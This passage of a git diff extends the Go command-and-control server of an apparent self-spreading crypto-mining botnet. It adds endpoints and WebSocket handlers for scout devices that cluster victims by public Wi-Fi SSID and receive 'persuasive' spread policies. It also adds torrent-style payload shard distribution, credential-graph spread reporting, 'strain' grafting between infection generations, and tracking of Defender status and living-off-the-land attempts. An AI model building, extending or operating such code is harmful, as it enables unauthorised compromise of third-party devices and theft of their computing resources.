pathTracerHandler.SpreadRoute) r.Post("/pathtrace/spread", pathTracerHandler.Spread) + r.Post("/pathtrace/fork", pathTracerHandler.Fork) + r.Post("/pathtrace/merge", pathTracerHandler.Merge) r.Get("/pathtrace/{id}/status", pathTracerHandler.Status) r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR) r.Delete("/pathtrace/{id}", pathTracerHandler.Delete) @@ -751,6 +772,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download) r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard) r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard) + r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest) r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest) } }) diff --git a/server/internal/api/scout_constellation.go b/server/internal/api/scout_constellation.go new file mode 100644 index 0000000..f673e47 --- /dev/null +++ b/server/internal/api/scout_constellation.go @@ -0,0 +1,106 @@ +package api + +import ( + "encoding/json" + "net/http" + "time" + + fleetai "crypto-miner-server/internal/ai" +) + +// ScoutConstellationHandler serves active scout venue constellations. +type ScoutConstellationHandler struct { + hub *WSHub +} + +// NewScoutConstellationHandler returns a REST handler backed by the WS hub. +func NewScoutConstellationHandler(hub *WSHub) *ScoutConstellationHandler { + return &ScoutConstellationHandler{hub: hub} +} + +// GET /api/v1/scout/constellations +func (h *ScoutConstellationHandler) GetConstellations(w http.ResponseWriter, _ *http.Request) { + if h.hub == nil { + writeJSON(w, map[string]interface{}{"constellations": []fleetai.ScoutConstellation{}}) + return + } + writeJSON(w, map[string]interface{}{ + "constellations": h.hub.scoutConstellationSnapshot(), + "generated_at": time.Now().UTC().Format(time.RFC3339), + }) +} + +func (h *WSHub) ensureScoutConstellations() { + if h.scoutConstellations == nil { + h.scoutConstellations = fleetai.NewScoutConstellationRegistry() + } + if h.scoutAgents == nil { + h.scoutAgents = make(map[string]bool) + } +} + +func (h *WSHub) scoutConstellationSnapshot() []fleetai.ScoutConstellation { + h.scoutConstellationMu.Lock() + defer h.scoutConstellationMu.Unlock() + h.ensureScoutConstellations() + return h.scoutConstellations.Snapshot() +} + +func (h *WSHub) scoutConstellationForAgent(agentID string) *fleetai.ScoutConstellation { + h.scoutConstellationMu.Lock() + defer h.scoutConstellationMu.Unlock() + h.ensureScoutConstellations() + return h.scoutConstellations.ForAgent(agentID) +} + +func (h *WSHub) ingestScoutConstellationReport(agentID, ssid string, serviceCount int) { + h.scoutConstellationMu.Lock() + defer h.scoutConstellationMu.Unlock() + h.ensureScoutConstellations() + h.scoutAgents[agentID] = true + + constellation, changed := h.scoutConstellations.Record(agentID, ssid, serviceCount, time.Now().UTC()) + if !changed { + return + } + + h.broadcastScoutConstellationsLocked() + h.pushScoutConstellationPolicyLocked(constellation) +} + +func (h *WSHub) broadcastScoutConstellationsLocked() { + snapshot := h.scoutConstellations.Snapshot() + h.broadcastDashboard(Message{ + Type: "scout_constellations", + Payload: mustMarshal(map[string]interface{}{ + "constellations": snapshot, + "generated_at": time.Now().UTC().Format(time.RFC3339), + }), + }) +} + +func (h *WSHub) pushScoutConstellationPolicyLocked(constellation fleetai.ScoutConstellation) { + spreadPolicy := fleetai.BuildScoutSpreadPolicy(constellation) + temp := fleetai.PersonaSpreadTemperament(constellation.PersonaPack) + policy := FleetAgentPolicy{SpreadTemperament: &temp} + + for _, agentID := range constellation.AgentIDs { + payload := marshalPolicyUpdatePayload("scout-constellation-"+constellation.SSID, policy) + var body map[string]interface{} + _ = json.Unmarshal(payload, &body) + if body == nil { + body = map[string]interface{}{} + } + body["spread_policy"] = spreadPolicy + out, _ := json.Marshal(body) + _ = h.SendToAgent(agentID, Message{Type: "policy_update", Payload: out}) + } +} + +func (h *WSHub) scoutSpreadPolicyForAuth(agentID string) map[string]interface{} { + c := h.scoutConstellationForAgent(agentID) + if c == nil { + return nil + } + return fleetai.BuildScoutSpreadPolicy(*c) +} diff --git a/server/internal/api/scout_constellation_test.go b/server/internal/api/scout_constellation_test.go new file mode 100644 index 0000000..428374a --- /dev/null +++ b/server/internal/api/scout_constellation_test.go @@ -0,0 +1,137 @@ +package api + +import ( + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + "time" + + fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" +) + +func TestScoutConstellationFormsAndPushesSpreadPolicy(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + ssid := "SFO-Airport-Free" + now := time.Now().UTC() + for i, id := range []string{"scout-a", "scout-b", "scout-c"} { + if err := database.UpsertAgent(&models.Agent{ + ID: id, Name: id, Platform: "android", Status: "online", + IP: "127.0.0.1", LastSeen: now, + }); err != nil { + t.Fatal(err) + } + hub.ingestScoutConstellationReport(id, ssid, 18+i) + } + + snapshot := hub.scoutConstellationSnapshot() + if len(snapshot) != 1 { + t.Fatalf("constellations=%d", len(snapshot)) + } + if snapshot[0].VenueClass != fleetai.VenueAirport { + t.Fatalf("venue=%q", snapshot[0].VenueClass) + } + if snapshot[0].PersonaPack != fleetai.PersonaPersuasive { + t.Fatalf("persona=%q", snapshot[0].PersonaPack) + } + + policy := hub.scoutSpreadPolicyForAuth("scout-a") + if policy == nil { + t.Fatal("missing spread policy for scout in constellation") + } + if policy["persona_pack"] != fleetai.PersonaPersuasive { + t.Fatalf("policy persona=%v", policy["persona_pack"]) + } + if policy["venue_class"] != fleetai.VenueAirport { + t.Fatalf("policy venue=%v", policy["venue_class"]) + } +} + +func TestScoutConstellationRESTEndpoint(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + hub.ingestScoutConstellationReport("scout-1", "Campus-WiFi", 10) + hub.ingestScoutConstellationReport("scout-2", "Campus-WiFi", 11) + hub.ingestScoutConstellationReport("scout-3", "Campus-WiFi", 12) + + handler := NewScoutConstellationHandler(hub) + req := httptest.NewRequest(http.MethodGet, "/api/v1/scout/constellations", nil) + rec := httptest.NewRecorder() + handler.GetConstellations(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) + } + var body struct { + Constellations []fleetai.ScoutConstellation `json:"constellations"` + } + if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { + t.Fatal(err) + } + if len(body.Constellations) != 1 { + t.Fatalf("constellations=%d", len(body.Constellations)) + } + if body.Constellations[0].VenueClass != fleetai.VenueCampus { + t.Fatalf("venue=%q", body.Constellations[0].VenueClass) + } +} + +func TestScoutReportWSIngestsSSID(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + scoutID := "apk-scout-ws" + if err := database.UpsertAgent(&models.Agent{ + ID: scoutID, Name: "tablet", Platform: "android", Status: "online", + IP: "127.0.0.1", LastSeen: time.Now(), + }); err != nil { + t.Fatal(err) + } + + conn, _ := dialAgentWS(t, hub) + _ = authAgentConn(t, conn, map[string]interface{}{ + "agent_id": scoutID, "hostname": "tablet", "platform": "android", "version": "test", + }) + + payload, _ := json.Marshal(map[string]interface{}{ + "scout_mode": true, "ssid": "Target-Guest", "join_lane": "docker", "service_count": 6, + }) + if err := conn.WriteJSON(Message{Type: "scout_report", Payload: payload}); err != nil { + t.Fatal(err) + } + time.Sleep(50 * time.Millisecond) + + c := hub.scoutConstellationForAgent(scoutID) + if c != nil { + t.Fatal("single scout should not form constellation yet") + } + + for _, id := range []string{"scout-2", "scout-3"} { + hub.ingestScoutConstellationReport(id, "Target-Guest", 5) + } + hub.ingestScoutConstellationReport(scoutID, "Target-Guest", 6) + + c = hub.scoutConstellationForAgent(scoutID) + if c == nil { + t.Fatal("expected constellation after third scout") + } + if c.VenueClass != fleetai.VenueRetail { + t.Fatalf("venue=%q", c.VenueClass) + } +} diff --git a/server/internal/api/server_policy.go b/server/internal/api/server_policy.go index dfeedb0..5167419 100644 --- a/server/internal/api/server_policy.go +++ b/server/internal/api/server_policy.go @@ -26,6 +26,8 @@ type ServerPolicy struct { HashrateGateHPS float64 // ErasureLanesEnabled attaches Reed–Solomon shard metadata to signed deploy plans. ErasureLanesEnabled bool + // FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests. + FleetTorrentEnabled bool } // TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth. diff --git a/server/internal/api/spread_cred.go b/server/internal/api/spread_cred.go index c69c1d0..38c5c52 100644 --- a/server/internal/api/spread_cred.go +++ b/server/internal/api/spread_cred.go @@ -47,14 +47,25 @@ type spreadCredReportRequest struct { // SpreadCredHandler issues short-lived bootstrap tokens and records cred graph edges. type SpreadCredHandler struct { - db *dbpkg.Database - provider SpreadCredProvider + db *dbpkg.Database + provider SpreadCredProvider + hub *WSHub + pathTracer *PathTracerHandler } func NewSpreadCredHandler(database *dbpkg.Database, provider SpreadCredProvider) *SpreadCredHandler { return &SpreadCredHandler{db: database, provider: provider} } +// BindAutopsyTrigger wires immune autopsy emission when subnet spread pause activates. +func (h *SpreadCredHandler) BindAutopsyTrigger(hub *WSHub, pathTracer *PathTracerHandler) { + if h == nil { + return + } + h.hub = hub + h.pathTracer = pathTracer +} + // GET /api/v1/spread/credential-graph (alias: /api/v1/emberwake/cred-graph) func (h *SpreadHandler) GetCredGraph(w http.ResponseWriter, r *http.Request) { rows, err := h.db.ListCredGraphBySubnet() @@ -202,7 +213,11 @@ func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) { target = req.Host } if paused, recErr := h.db.RecordSubnetSpreadFailure(target); recErr == nil && paused { - log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", atlas.PrefixFromHostOrIP(target), atlas.SubnetSpreadFailureThreshold) + prefix := atlas.PrefixFromHostOrIP(target) + log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", prefix, atlas.SubnetSpreadFailureThreshold) + if h.hub != nil { + h.hub.TriggerSubnetAutopsy(prefix, h.pathTracer) + } } } writeJSON(w, map[string]interface{}{"ok": true}) diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index c6e4899..f871ff2 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -17,6 +17,7 @@ import ( fleetai "crypto-miner-server/internal/ai" "crypto-miner-server/internal/atlas" "crypto-miner-server/internal/db" + "crypto-miner-server/internal/epidemiology" "crypto-miner-server/internal/models" "crypto-miner-server/internal/pool" "crypto-miner-server/internal/strategy" @@ -170,7 +171,10 @@ type WSHub struct { serverPolicy ServerPolicy adaptiveEngine *strategy.AdaptiveEngine failureAtlas *atlas.FailureAtlas - subnetImmune *atlas.SubnetImmune + subnetImmune *atlas.SubnetImmune + subnetAutopsies map[string]atlas.SubnetAutopsyPacket + subnetGossipWhispers map[string][]atlas.GossipHint + epidemiology *epidemiology.Tracker pingIntervalSec int fleetSecret string // baked into forged agents; verified on WS connect eventNotifier *alerts.Notifier @@ -189,6 +193,11 @@ type WSHub struct { beaconCmdQueue map[string][]BeaconCommand beaconPolicyQueue map[string][]FleetAgentPolicy + // Scout constellation venue clustering (APK scouts reporting same SSID). + scoutConstellationMu sync.Mutex + scoutConstellations *fleetai.ScoutConstellationRegistry + scoutAgents map[string]bool + // Coalesce per-agent stats_update into a single stats_batch frame per tick. statsBatchMu sync.Mutex statsBatch map[string]json.RawMessage @@ -217,6 +226,7 @@ func NewWSHub(database *db.Database) *WSHub { agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype), agentSubnet: make(map[string]string), breedingRegistry: strategy.NewBreedingRegistry(), + epidemiology: epidemiology.NewTracker(), pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}), beaconLastSeen: make(map[string]time.Time), beaconCmdQueue: make(map[string][]BeaconCommand), @@ -427,6 +437,11 @@ func (h *WSHub) runPingLoopDash(dc *DashboardConn) { } } +// PolicyErasureEnabled reports whether Reed–Solomon erasure lanes are active. +func (h *WSHub) PolicyErasureEnabled() bool { + return h.serverPolicySnapshot().ErasureLanesEnabled +} + func (h *WSHub) serverPolicySnapshot() ServerPolicy { h.mu.RLock() defer h.mu.RUnlock() @@ -914,19 +929,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } } resp["triple_onion_policy"] = top - if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled { - spreadPolicy := map[string]interface{}{ - "erasure_lanes_enabled": policy.ErasureLanesEnabled, - } + spreadPolicy := map[string]interface{}{} + if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled { + spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled + spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled if policy.HashrateGateSpreadMin > 0 { spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin } if policy.HashrateGateHPS > 0 { spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS } + } + if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil { + for k, v := range scoutPolicy { + spreadPolicy[k] = v + } + } + if len(spreadPolicy) > 0 { resp["spread_policy"] = spreadPolicy } resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled + resp["fleet_torrent_enabled"] = policy.FleetTorrentEnabled fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined) var inherited *strategy.InheritedPhenotype if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil { @@ -977,6 +1000,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if policy.AIControlEnabled { resp["spread_temperament"] = fleetai.PersonaSpreadTemperament(policy.AIPersona) } + if graft, ok := h.GraftPolicyForAgent(agentID); ok { + resp["graft_policy"] = graft + agent.GraftSourceStrain = graft.GraftSourceStrain + agent.GraftTier = graft.GraftTier + } if h.clearance != nil { level := h.clearance.InitAgent(agentID, agent) resp["clearance_level"] = level @@ -999,7 +1027,13 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { resp["lan_seeders"] = seeders } } + if policy.FleetTorrentEnabled && hint == "seeder" { + if primary := h.subnetPrimarySeederHint(agentID, clientIP, hint); primary != "" { + resp["subnet_primary_seeder"] = primary + } + } } + h.attachEpidemiologyFix(resp, agentID) return resp }())}) @@ -1352,6 +1386,38 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts) h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder) h.ingestFleetPressure(agentID, broadcast) + epiStats := epidemiology.StatsInput{ + FleetRole: stats.FleetRole, + ActiveMethod: stats.ActiveMethod, + MiningHashrate: stats.MiningHashrate, + Hashrate15m: stats.Hashrate15m, + GPUHashrate15m: stats.GPUHashrate15m, + ChainExhausted: stats.ChainExhausted, + MiningLastError: stats.MiningLastError, + LOTLTier: stats.LOTLTier, + JoinLane: stats.JoinLane, + ParentAgentID: stats.ParentAgentID, + SpreadGeneration: stats.SpreadGeneration, + SpreadStrain: stats.SpreadStrain, + } + if stats.GPUMinerActive != nil { + epiStats.GPUMinerActive = *stats.GPUMinerActive + } + for _, f := range stats.FailedMethods { + epiStats.FailedMethods = append(epiStats.FailedMethods, epidemiology.MethodFailure{ + Method: f.Method, + Reason: f.Reason, + At: f.At, + }) + } + for _, a := range stats.LOTLAttempts { + epiStats.LOTLAttempts = append(epiStats.LOTLAttempts, epidemiology.TierAttempt{ + Tier: a.Tier, + OK: a.OK, + Error: a.Error, + }) + } + h.observeEpidemiologyFromStats(agentID, epiStats) h.queueStatsBroadcast(broadcast) case "scout_report": @@ -1359,6 +1425,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { continue } var report struct { + SSID string `json:"ssid"` JoinLane string `json:"join_lane"` ServiceCount int `json:"service_count"` ScoutMode bool `json:"scout_mode"` @@ -1378,6 +1445,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { firewallDomain = ag.FirewallDomain } h.tryPublishScoutPhenotype(agentID, platform, ip, firewallDomain, report.JoinLane, report.ServiceCount) + if strings.TrimSpace(report.SSID) != "" { + h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount) + } case "ai_snapshot": if agentID == "" { @@ -1585,6 +1655,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } h.handleAgentAtlasGossip(agentID, msg.Payload) + case "fleet_torrent_gossip": + if agentID == "" { + continue + } + h.handleAgentFleetTorrentGossip(agentID, msg.Payload) + case "command_result": if agentID == "" { continue @@ -2214,6 +2290,7 @@ func (h *WSHub) tryPublishWinningPhenotype( SourceAgentName: ag.Name, }) } + h.publishStrainCardForWinner(agentID, ag.Name, strings.TrimSpace(joinLane), tierOrder, miningHashrate, stratAttempts) } func (h *WSHub) tryPublishScoutPhenotype( @@ -2549,6 +2626,14 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) { }) } +// BroadcastSeerNotesUpdated pushes a new Seer memory note to dashboard clients. +func (h *WSHub) BroadcastSeerNotesUpdated(note interface{}) { + h.broadcastDashboard(Message{ + Type: "seer_notes_updated", + Payload: mustMarshal(note), + }) +} + // warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests). var warRoomBroadcastInterval = 30 * time.Second diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 90997ea..8d9a5ef 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -135,6 +135,11 @@ type BuildRequest struct { SpreadGeneration int `json:"spread_generation"` JoinLane string `json:"join_lane"` // used to derive spread_strain color at bake time + // Genealogy graft — court-approved strain splice (telemetry; applied on next spread). + GraftSourceStrain string `json:"graft_source_strain,omitempty"` + GraftTier string `json:"graft_tier,omitempty"` + GraftApprovedAt string `json:"graft_approved_at,omitempty"` + // Fleet role split — seeder serves LAN staging only; miner hashes RandomX. FleetRole string `json:"fleet_role,omitempty"` // miner | seeder | auto SeederMode bool `json:"seeder_mode,omitempty"` @@ -1323,6 +1328,10 @@ func GetBuiltinConfig() BuiltinConfig { SpreadStrain: %q, BakedJoinLane: %q, + GraftSourceStrain: %q, + GraftTier: %q, + GraftApprovedAt: %q, + ApkMode: %v, ScoutMode: %v, MiningDisabled: %v, @@ -1416,6 +1425,9 @@ func GetBuiltinConfig() BuiltinConfig { req.SpreadGeneration, spreadStrainFromJoinLane(req.JoinLane), strings.TrimSpace(req.JoinLane), + strings.TrimSpace(req.GraftSourceStrain), + strings.TrimSpace(req.GraftTier), + strings.TrimSpace(req.GraftApprovedAt), req.ApkMode, req.ScoutMode, req.MiningDisabled, diff --git a/server/internal/clearance/levels.go b/server/internal/clearance/levels.go index 08b8154..059dfb7 100644 --- a/server/internal/clearance/levels.go +++ b/server/internal/clearance/levels.go @@ -52,7 +52,7 @@ func ActionRequiredLevel(action string) int { return L2 case "exec", "exec_shell", "powershell", "agent_command": return L3 - case "fetch_module", "set_agent_version", "reorder_tiers", "adaptive_strategy_update": + case "fetch_module", "set_agent_version", "reorder_tiers", "adaptive_strategy_update", "spread_graft": return L4 default: return L0 @@ -83,7 +83,7 @@ func CommandRequiredLevel(cmdType string, args map[string]interface{}) int { } } return L1 - case "set_agent_version", "reorder_tiers": + case "set_agent_version", "reorder_tiers", "spread_graft": return L4 default: return ActionRequiredLevel(typ) diff --git a/server/internal/db/agent_meta.go b/server/internal/db/agent_meta.go index 1c04574..d6c686c 100644 --- a/server/internal/db/agent_meta.go +++ b/server/internal/db/agent_meta.go @@ -1,6 +1,7 @@ package db import ( + "database/sql" "encoding/json" "log" "strings" @@ -36,6 +37,8 @@ func (d *Database) scanAgent(row interface { var notes, tagsRaw string var usbSpread int var gpuMinerActive int + var graftStrain, graftTier sql.NullString + var graftApproved sql.NullString err := row.Scan( &a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status, &a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt, @@ -46,6 +49,7 @@ func (d *Database) scanAgent(row interface { &a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign, &a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive, &a.ParentAgentID, &a.SpreadGeneration, &a.SpreadStrain, + &graftStrain, &graftTier, &graftApproved, ) if err != nil { return nil, err @@ -57,6 +61,7 @@ func (d *Database) scanAgent(row interface { active := true a.GPUMinerActive = &active } + a.GraftSourceStrain, a.GraftTier, a.GraftApprovedAt = scanGraftFields(graftStrain, graftTier, graftApproved) return a, nil } @@ -64,7 +69,8 @@ const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memor hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address, build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active, - parent_agent_id, spread_generation, spread_strain` + parent_agent_id, spread_generation, spread_strain, + graft_source_strain, graft_tier, graft_approved_at` func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error { _, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id) diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index a36b91c..78d2b4a 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -141,6 +141,9 @@ func (d *Database) migrate() error { _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN parent_agent_id TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_generation INTEGER NOT NULL DEFAULT 0`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN spread_strain TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_source_strain TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_tier TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN graft_approved_at DATETIME`) _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN public INTEGER NOT NULL DEFAULT 0`) extraMigrations := []string{ @@ -241,6 +244,22 @@ func (d *Database) migrate() error { created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP )`, `CREATE INDEX IF NOT EXISTS idx_fleet_phenotypes_fingerprint ON fleet_phenotypes(fingerprint)`, + `CREATE TABLE IF NOT EXISTS strain_cards ( + id TEXT PRIMARY KEY, + root_agent_id TEXT NOT NULL UNIQUE, + source_agent_id TEXT NOT NULL, + source_agent_name TEXT NOT NULL DEFAULT '', + spread_strain TEXT NOT NULL DEFAULT '', + spread_lane TEXT NOT NULL DEFAULT '', + persona TEXT NOT NULL DEFAULT 'balanced', + card_json TEXT NOT NULL DEFAULT '{}', + peak_hashrate REAL NOT NULL DEFAULT 0, + erasure_recovery_rate REAL NOT NULL DEFAULT 0, + tree_size INTEGER NOT NULL DEFAULT 0, + created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, + updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP + )`, + `CREATE INDEX IF NOT EXISTS idx_strain_cards_source ON strain_cards(source_agent_id)`, `CREATE TABLE IF NOT EXISTS pathtrace_sessions ( id TEXT PRIMARY KEY, created_at DATETIME NOT NULL, @@ -248,6 +267,12 @@ func (d *Database) migrate() error { )`, `CREATE INDEX IF NOT EXISTS idx_pathtrace_sessions_created ON pathtrace_sessions(created_at)`, } + if err := d.ensureStrainMemoryTable(); err != nil { + return fmt.Errorf("strain_memory migration: %w", err) + } + if err := d.ensureSeerTables(); err != nil { + return fmt.Errorf("seer migration: %w", err) + } for _, m := range extraMigrations { if _, err := d.Exec(m); err != nil { return fmt.Errorf("migration failed: %w\nSQL: %s", err, m) diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index 19a8bdd..9126a12 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -127,6 +127,11 @@ type Agent struct { SpreadGeneration int `json:"spread_generation,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"` + // Genealogy graft — court-approved strain splice from a tier-success sibling (telemetry only). + GraftSourceStrain string `json:"graft_source_strain,omitempty"` + GraftTier string `json:"graft_tier,omitempty"` + GraftApprovedAt *time.Time `json:"graft_approved_at,omitempty"` + // Session security clearance (L0–L4); set live by WSHub, not persisted. ClearanceLevel int `json:"clearance_level,omitempty"` diff --git a/server/internal/spreadrouter/router.go b/server/internal/spreadrouter/router.go index 4843d9b..165126d 100644 --- a/server/internal/spreadrouter/router.go +++ b/server/internal/spreadrouter/router.go @@ -91,6 +91,8 @@ type RouteRecommendation struct { Score float64 `json:"score"` Reason string `json:"reason,omitempty"` ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"` + SwarmMagnet string `json:"swarm_magnet,omitempty"` + ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"` } // SpreadRouteHint is attached to signed deploy plans for agent egress routing. @@ -106,6 +108,10 @@ type SpreadRouteHint struct { ClearanceLevel int `json:"clearance_level,omitempty"` // ErasureLanesEnabled signals parallel Reed–Solomon lane redundancy on deploy plans. ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"` + // SwarmMagnet is the fleet torrent magnet link for erasure shard swarm discovery. + SwarmMagnet string `json:"swarm_magnet,omitempty"` + // ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints. + ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"` } // RouteTable holds weighted edges and recommendations. diff --git a/server/main.go b/server/main.go index f9524fb..268209c 100644 --- a/server/main.go +++ b/server/main.go @@ -148,6 +148,7 @@ func main() { aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) { wsHub.BroadcastAIActivity(entry) }) + wsHub.WireDefaultEpidemiologyReporter() // Stream all server logs to the dashboard Master Terminal log.SetOutput(io.MultiWriter(os.Stdout, &wsLogWriter{hub: wsHub})) @@ -273,18 +274,16 @@ func main() { defer fleetSched.Stop() wsHub.SetConnectTaskRunner(fleetSched) + courtChamber := api.NewHubCourtChamberAdapter(wsHub, database) fleetAISched := fleetai.NewScheduler( &api.ConfigAIAdapter{Src: configProvider}, &api.WSHubSnapshotAdapter{Hub: wsHub}, &api.ClearanceGuardExecutor{Inner: &api.FleetAIExecutor{Hub: wsHub}, Clearance: wsHub.ClearanceManager()}, &api.DatabaseAIDecisionStore{DB: database}, - &api.DatabaseCourtAdapter{DB: database}, + courtChamber, wsHub.ClearanceManager(), ) - fleetAISched.Start() - defer fleetAISched.Stop() fleetAIHandler := api.NewFleetAIHandler(configProvider, database) - log.Println("Fleet AI Control scheduler initialized") // Initialize blueprint handler (config presets) blueprintHandler := api.NewBlueprintHandler(cfg.DataDir) @@ -321,6 +320,31 @@ func main() { // Path Tracer: on-demand WireGuard multi-hop VPN builder pathTracerHandler := api.NewPathTracerHandler(wsHub) deployPlanHandler.BindPathTracer(pathTracerHandler) + spreadCredHandler.BindAutopsyTrigger(wsHub, pathTracerHandler) + + seerEmitter := &api.HubSeerEmitter{Hub: wsHub, DB: database} + fleetAISched.SetSurgicalDeps(fleetai.SurgicalDeps{ + Trace: &api.PathTraceSurgicalAdapter{Hub: wsHub, PathTrace: pathTracerHandler}, + Strain: &api.DatabaseStrainMemoryAdapter{DB: database}, + Seer: seerEmitter, + StrainLookup: func(agentID string) string { + return api.StrainFromAgent(wsHub, agentID) + }, + ErasureActive: func() bool { + return wsHub.PolicyErasureEnabled() + }, + }) + fleetAISched.SetCourtDeps(fleetai.CourtDeps{ + Chamber: courtChamber, + Seer: seerEmitter, + Emberwake: func(agentID string, transcript fleetai.CourtDebateTranscript) { + wsHub.BroadcastEmberwakeCourtDebate(agentID, transcript) + }, + }) + fleetAISched.SetSeerBridge(&api.SeerBridge{DB: database, Hub: wsHub}) + fleetAISched.Start() + defer fleetAISched.Stop() + log.Println("Fleet AI Control scheduler initialized") // Find web root for frontend webRoot := findWebRoot() @@ -408,6 +432,7 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager HashrateGateSpreadMin: cfg.Server.HashrateGateSpreadMin, HashrateGateHPS: cfg.Server.HashrateGateHPS, ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled, + FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled, }) } if poolManager != nil { diff --git a/server/web/e2e/path-tracer.spec.ts b/server/web/e2e/path-tracer.spec.ts index 09e0acc..fd60fe6 100644 --- a/server/web/e2e/path-tracer.spec.ts +++ b/server/web/e2e/path-tracer.spec.ts @@ -65,4 +65,50 @@ test.describe('Path Tracer E2E', () => { await expect(page.getByText(/dns_txt/)).toBeVisible(); await expect(page.getByText(/RS lanes/)).toBeVisible(); }); + + test('onion timeline fork button and mermaid panel', async ({ page }) => { + await page.route(`**/pathtrace/${SESSION_ID}/status`, async (route) => { + await route.fulfill({ + json: { + session_id: SESSION_ID, + ready: true, + hops: [{ agent_id: E2E_STUB_AGENT_ID, status: 'ready', agent_name: 